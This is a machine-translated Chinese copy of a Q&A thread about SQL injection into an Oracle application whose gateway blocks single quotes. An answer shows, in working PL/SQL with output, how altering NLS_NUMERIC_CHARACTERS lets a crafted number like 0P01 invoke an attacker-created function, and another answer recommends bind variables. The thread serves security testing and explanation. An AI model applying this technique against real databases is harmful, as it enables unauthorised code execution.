jds*_*ape 12 oracle sql-injection
我正在测试一个基于 oracle 的应用程序,我发现了以下代码:
查询 = "从员工中选择姓名 WHERE id='"+PKID+"';"
即查询字符串包含直接从 URL 获得的 PKID 值周围的引号。
显然,这是一个等待发生的经典 SQL 注入......除了应用程序位于 CA SiteMinder 之后,它会阻止任何带有单引号(任何形式)的 URL 传递给应用程序。
有没有办法在不使用单引号的情况下打破字符串并注入SQL?
编辑:对不起,我应该更清楚 - 我理解它应该如何写,但我需要说服人们这是一个可利用的问题。目前,因为它在阻止单引号的 siteminder 后面,所以这将是一个低优先级的修复。
是的,可以在不提供参数引号的情况下执行 SQL 注入攻击。
这样做的方法是利用与如何处理数字和/或日期有关的漏洞。您可以在会话级别指定日期或数字的格式。通过操纵它,您可以注入任何字符。
默认情况下,在英国和美国,逗号用于表示数字中的千位分隔符,并使用句号表示小数点。您可以通过执行以下命令来更改这些默认值:
alter session set nls_numeric_characters = 'PZ';
Run Code Online (Sandbox Code Playgroud)
这意味着“P”现在是小数点,“Z”是千位分隔符。所以:
0P01
Run Code Online (Sandbox Code Playgroud)
是数字 0.01。但是,如果创建函数 P01,则将在数字转换之前获取对象引用。这允许您在数据库上执行函数,从而增强您的权力,如下所示:
创建一个基本的“通过 id 获取”函数:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Run Code Online (Sandbox Code Playgroud)
还要创建一个函数 P01 做一些不受欢迎的事情(在这种情况下只是创建一个表,但你明白了):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Run Code Online (Sandbox Code Playgroud)
我们很高兴:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Run Code Online (Sandbox Code Playgroud)
任何地方都没有引号,但我们仍然设法执行“隐藏”函数 P01 并创建表t!
虽然这在实践中可能很难做到(并且可能需要一些内部知识/帮助),但这确实表明您可以注入 SQL 而不必使用引号。改变nls_date_format可以允许做类似的事情。
数字的原始发现是 David Litchfield 的,您可以在此处阅读他的论文。您可以在此处找到 Tom Kyte 关于如何利用日期的讨论。
尝试使用绑定变量。您可以将其声明为数字,这样可以防止破坏性的 SQL 注入。
添加:绑定变量还可以提高性能和可伸缩性,因为查询计划是经过编译和存储以供重复使用的。只是在你的论点中添加一些其他内容。:)
| 归档时间: |
|
| 查看次数: |
2161 次 |
| 最近记录: |